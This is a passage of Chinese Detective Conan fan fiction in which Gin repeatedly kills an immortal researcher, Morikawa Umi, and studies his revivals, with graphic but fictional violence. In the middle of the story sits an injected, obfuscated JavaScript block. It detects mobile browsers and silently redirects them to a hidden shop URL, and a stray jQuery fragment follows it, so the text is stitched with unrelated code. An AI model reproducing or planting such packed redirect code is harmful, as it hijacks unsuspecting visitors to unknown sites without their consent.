森川海第一次见到琴酒，是在他成为研究员的几天后。
那时候他还叫另一个名字，那个名字现在他已经很少想起了。组织给他新身份的时候，问他想要什么名字，他看着窗外的海说，就叫海吧。
他被派到一间实验室，监督他的人就是琴酒。
第一天，琴酒带他进去。第二天，琴酒来了一趟，站在门口看了一眼又走了。第三天，琴酒来的时候，森川海正把一份写好的报告扔进垃圾桶。
“你在干什么？”琴酒问。
森川海抬起头，看着门口那个人。银色长发，黑色大衣，眼睛是冷的，像冬天结冰的湖水。森川海看了一眼，然后继续把剩下的报告撕成两半。
“数据是假的。”他说，“留着没用。”
琴酒走过来，从垃圾桶里捡起那份报告，翻了翻。然后抬起头看他。
“你怎么知道是假的？”
“做过一遍。”森川海解释，“结果对不上。”
琴酒看着他，没说话。森川海把撕碎的纸扔进垃圾桶，站起来，走到水池边洗手。水哗哗地流，他从镜子里看见琴酒还站在那里，看着他。
“你叫什么？”琴酒问。
森川海没回头，说：“你不是知道吗。”
沉默。然后他听见脚步声，门开了又关上。琴酒走了。
他关上水龙头，擦干手，看着镜子里的自己。镜子里的男人有一双水红色的眼睛，很浅的那红，像是玻璃珠泡在水里。他盯着那双眼睛看了一会儿，然后转身出去了。
那是他们相处的常态。
森川海看琴酒不顺眼，琴酒看他也一样。
每次琴酒来实验室，他总能找出点什么事来。报告写得不对，样本处理有问题，仪器调试有误差。琴酒指出来，他就说那你来。琴酒不说话，他就接着说，不来就别说。
不干活的人不许挑三拣四。
有一次琴酒掏枪了。
那天森川海在做一份分析，做到一半发现试剂被换了。他放下试管，走到门口，对着走廊喊：“谁动我东西了？”
没人应，他又喊了一遍。琴酒从走廊那头走过来，站在他面前。
“喊什么？”
“谁动我东西了？”
琴酒看了他一眼，说：“我。”
森川海愣了一下，然后笑了。不是高兴的那种笑，是那种“你他爹在逗我”的笑。
“你动我试剂干什么？”
“换了一批。”琴酒说，“你用的那批过期了。”
森川海盯着琴酒看了一会儿，然后转身回去，继续做分析。做到一半，他停下手里的动作，说：“下次你自己换，不用告诉我。”
琴酒站在他身后，没说话。
过了几秒钟，森川海听见枪上膛的声音。他没回头，继续做手里的活。试管里的液体在加热下慢慢变色，他盯着那个颜色，等着。
枪口抵在他后脑勺上。
“你什么毛病？”琴酒的声音就在他耳边，压得很低，像是什么东西在喉咙里磨，“别以为我认不出你。”
森川海停下手里的动作，没动。过了一会儿，他说：“你开枪试试。”
沉默。
枪口抵得更紧了。他能感觉到那个冰凉的金属压在他头皮上，只要琴酒手指动一下，他的脑袋就会开一个洞。
但森川海没动。他就那么站着等。
枪口移开了。
他听见琴酒把枪收回去的声音，然后是脚步声逐渐走远。森川海回过头，看着走廊那头空荡荡的，什么也没有。
他转回来，继续做分析。
试管里的液体已经变成了正确的颜色。
那天晚上森川海死了。
他不知道那些人是谁。组织里有很多人，很多派别，很多他不知道的事。他从实验室出来，走在回去的路上，路灯坏了几盏，一段路黑一段路亮。有人从暗处冲出来，刀捅进他的心脏。
森川海低头看着那把刀，又抬头看着那个人的脸。那个人很年轻，眼睛瞪得很大，手在抖。森川海握住那个人的手，把刀往外拔了一点，然后往里一推，推得更深。
那个人吓得松开手，跑了。
血在往外流，温热的，顺着衣服往下滴。他靠着花坛坐下来，看着对面的路灯。路灯亮着，有飞虫绕着灯光转，一圈又一圈，周而复始。
他坐在那里等死。
森川海闭上眼睛，又过了一会儿眼睛睁开了。天还是黑的，路灯还是亮的，飞虫还在转。他低头看了看自己的胸口，刀被蠕动的肉推出来，血已经不流了。
森川海把刀扔在一边，伤口边缘已经开始收拢，他能感觉到皮肉在动，像是有什么东西在里面蠕动着把两边拉到一起。
森川海站起来，走了几步，有点晕。他回到家，洗澡换衣服，清理干净满身的血。伤口已经长好了，看不出哪里被捅过。
原来是这样，森川海想。
第二天他去实验室，琴酒已经在里面了。
琴酒看见他，愣了一下。
这一下的时间非常短，如果不是因为森川海曾经是布伦尼文，他甚至看不出来这个人有过片刻的愣神。
琴酒走过来，绕着他转了一圈，上下打量。森川海没动，由着他看。
“昨天有人杀了你。”琴酒说。
“嗯。”
“你没死。”
“嗯。”
琴酒停下来，站在他面前，盯着他的眼睛。森川海盯回去，琴酒的眼睛是绿色的，像是冬天结冰的湖面。
“你怎么没死？”
森川海想了想：“不知道。”
琴酒看了他很久。
那天下午琴酒亲手杀了森川海。
拿着他惯用的枪，漫不经心地冲他额头按下扳机。森川海看见火光，意识消失了片刻。
又是一次死亡。
他躺在地上，额头上的弹孔在慢慢收拢。他能感觉到骨头在长，肉在长，皮肤在长。
森川海坐起来，看着琴酒。
琴酒站在他面前，手里的枪还指着他的方向，脸上的表情很奇怪。不是害怕也不是震惊，倒像是看着什么不应该存在的东西。
“你现在是什么东西？”琴酒问。
“不知道。”森川海很平静。
“那你曾经是什么东西？”
曾经的布伦尼文也是这样吗？笑着、眯着眼，在琴酒注意到没注意到的地方死了很多次又活过来，最后厌烦这一切离开。
没有回答。
琴酒又开枪了。
这次是心脏。森川海低头看着胸口那个洞，看着它慢慢长好，他抬起头看着琴酒。
脖子、头、腹部、四肢。琴酒换了不同的位置，不同的角度，不同的距离。每次森川海都会死，然后活过来，伤口的血肉蠕动着，诡异又艳丽。
不知道第几次后，琴酒枪里的子弹打完，终于停了下来。琴酒站在那里看着森川海，呼吸有点重。
森川海坐在地上，浑身是血：“打完了？”
琴酒没说话。
森川海站起来，拍了拍身上的灰，走到水池边洗手。水从他手上流下来，红的，慢慢变淡，最后变成透明的。
他从镜子里看见琴酒还站在那里，看着他。
“你现在到底是什么？”琴酒又问了一遍。
森川海看着镜子里的自己，又看着镜子里的琴酒。两个人隔着镜子对望，一个红眼睛，一个绿眼睛。
“不知道。”他说，“但你应该知道了。”
从那以后，琴酒开始做实验。
他把森川海带到不同的地方，用不同的方式杀死他。刀，枪，毒药，窒息，电击，高处坠落。每次森川海都会死，然后活过来。每次活过来他都看着琴酒，等着下一次。
琴酒记录每一次的过程。时间，方式，死亡时长，恢复速度。他有个本子，黑色的封皮，里面密密麻麻写满了数据。森川海有一次凑过去看，琴酒把本子合上收进口袋。
死亡○记？
“给我看看。”森川海说。
“不给。”
“那是我的数据。”
琴酒看着他：“你是东西吗？”
森川海想了想：“不是。”
“那数据不是你的。”
他没再说话。
有一次琴酒烦了，把森川海炸了。
字面意思的炸了。炸弹绑在他身上，引爆的时候他看见琴酒站在远处点了根烟。然后森川海什么都不知道了。等他有意识的时候，他发现自己变成了一堆肉块，散落在地上。
他能感觉到每一块肉，能感觉到它们之间的距离，能感觉到它们在动。他在试着把自己拼回去。
这个过程很慢。森川海有很多时间观察自己。那些肉块在地上蠕动，像是有生命的东西慢慢朝彼此移动。碰到一起之后，它们开始融合，边缘泛起细小的彩色泡沫，变得模糊然后长在一起。骨头也在长，从断口处长出新的部分，和另一边的骨头接上。血管像细细的红线，从这一端伸向那一端接上。
森川海躺在地上，看着自己一点一点变回人的形状。
琴酒站在旁边抽烟，抽完一根又点一根。抽完一盒的时候，森川海已经拼得差不多了。最后一块肉贴上来和身体融合，他睁开眼睛，坐起来。
琴酒把烟掐了。
“完了？”琴酒问。
森川海低头看了看自己，光着的，衣服早就炸没了。他站起来，活动了一下手脚，说：“完了。”
琴酒转身走了。
森川海跟上去，问：“去哪儿？”
“回去。”
“我衣服没了。”
琴酒没理他。
“好歹给我件衣服，你也不想传出去琴酒——”
又一枪。
后来琴酒不杀他了。
不是不想杀，是没意义。杀了会活，活过来还是那个人，还是那副让人看不顺眼的样子。琴酒试了各种办法都没用，有一次琴酒被气急了，把森川海扔进焚化炉烧成灰，结果那些灰自己聚起来，慢慢变回人形。琴酒站在旁边看着，似乎有点想吐。
从那以后琴酒就不试了。
但他开始注意别的事。
比如别人看见森川海死而复生，会是什么反应。
第一次琴酒发现这件事是在一次任务里。森川海中枪了，当着三个人的面。那三个人看着子弹打穿他的头，看着他倒下过几分钟又站起来，头上连个疤都没有。
那三个人什么都没说，继续做手里的事，像是没看见一样。
琴酒走过去，问其中一个人：“你刚才看见什么了？”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227454|197044||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那个人抬起头，说：“什么？”
“他。”琴酒指着森川海，“刚才怎么了？”
那个人看了看森川海，又看了看琴酒，说：“没怎么啊。”
琴酒盯着那个人看了很久。那个人被他看得害怕，低下头继续干活。
琴酒又去问另外两个人。一样的反应。他们不记得看见森川海中枪，不记得他倒下，不记得他站起来。他们什么都不知道。
森川海站在旁边，看着这一切。
琴酒走过来，站在他面前。
“他们看不见？”琴酒问。
“可能看见了，但不记得，或者记得，但不觉得奇怪。”森川海说。
琴酒沉默了一会儿：“只有我记得？”
森川海看着琴酒，那双红眼睛在琴酒脸上停了一会儿。琴酒的眼睛像一片结冰的湖，但现在里面有一点别的东西。他说不上来是什么。
“可能吧。”他说。
琴酒没再说话。
从那以后，琴酒开始盯着森川海。
像鬼一样。
家人们，前搭档像鬼一样缠着我该怎么办？
森川海不知道琴酒在看什么，说真的有点吓人，但既然死不了那被盯着也不是什么大事。有时候森川海会故意做点什么事，看琴酒的反应，比如故意让自己受伤，看琴酒掏不掏枪，比如故意去惹别人，看琴酒管不管。
琴酒一般不管，就纯看。
森川海忍不住了：“你老看着我干什么？”
“怕你出事。”
这回答多少有些离谱，森川海愣了一下，然后笑了。“怕我出事？”他说，“我能出什么事？”
琴酒看着他，没说话。
“怕我把组织拆了？”
琴酒还是没说话。
“还是怕我把自己玩没了？”
琴酒终于开口了：“你玩得没自己吗？”
森川海认真想了想这个问题，好像真的没有。他试过各种死法，每次都会活过来，好像没有什么能真正杀死他。
“不好说。”他说。
琴酒没再说话。
后来琴酒问他到底想干什么。
那时候他们在一个废弃的厂房里，刚处理完一批人。地上躺着七八具尸体，血还在流。森川海坐在一个箱子上，看着那些尸体，琴酒站在窗边抽烟。
“什么？”森川海问。
“你来组织，想干什么？”
“不知道，我只是在这里出生而已。”
“那之后呢？”
“做他们让我做的事。”
琴酒抽了一口烟，吐出来。烟雾在窗户透进来的光里飘散，灰白色的，慢慢变淡。
“没想过离开？”
森川海看着琴酒：“离开去哪儿？”
琴酒没回答。
森川海又说：“而且我走了，组织会找我，找不着就一直找，很麻烦。”
琴酒看着他，那双绿眼睛在烟雾后面，看不太清。
“所以你就在这儿待着？”
“嗯。”
“一直待着？”
“可能吧。”
琴酒把烟掐了，扔在地上，用脚碾灭。“你知道他们会怎么使用你吗？”琴酒说，“一直用，用到不能用了为止。”
森川海说：“我知道。”
“知道还待着？”
森川海站起来走到窗边，和琴酒并排站着。窗外是一片荒地，长满了野草，风一吹，草像海浪浪一样起伏。天是灰的，草是黄的，像是颠倒的大海。
“有人需要我。”他说。
琴酒转过头看他：“谁？”
森川海看着窗外，没回答。过了一会儿，他才慢慢的开口：“你也是。”
琴酒愣了一下。
森川海转过头，看着琴酒。那双红眼睛离得很近，琴酒能看见里面有一些细细的纹路，像是玻璃上的裂痕。
“你也在看我。”森川海说，“从我来的第一天就在看。”
琴酒没说话。
“别人看不见的东西，你看见了。”森川海说，“别人记不住的东西，你记住了。别人不觉得奇怪的东西，你觉得奇怪。”
他看着琴酒，琴酒看着他。
“为什么？”他问。
琴酒没回答。
过了很久，琴酒说：“不知道。”
森川海很轻的笑了一下，像是听见了什么意料之外的东西。
“不知道。”他重复了一遍，“你也不知道。”
琴酒没理他，转身走了。
森川海站在窗边，看着琴酒的背影消失在门口。然后他转过头，继续看窗外那片荒草。风还在吹，草还在起伏，像是有什么东西在底下游动。
他站了很久。
后来，宫野夫妇去世了，森川海从组织手里抢到了一个小女孩。
这是什么？宫野志保，捡了。
琴酒在旁边看着，似乎很想说点什么，但森川海没管他。养孩子的事通知前搭档干嘛，又不是前妻——就算是前妻也没必要通知吧？
反倒是宫野志保，和野生长毛三花猫一样，手慢无啊朋友们。
……
森川海从火海中抱出宫野志保，想到很久很久以前，有人这样从火海中抱他出来。
那时一切都还不晚。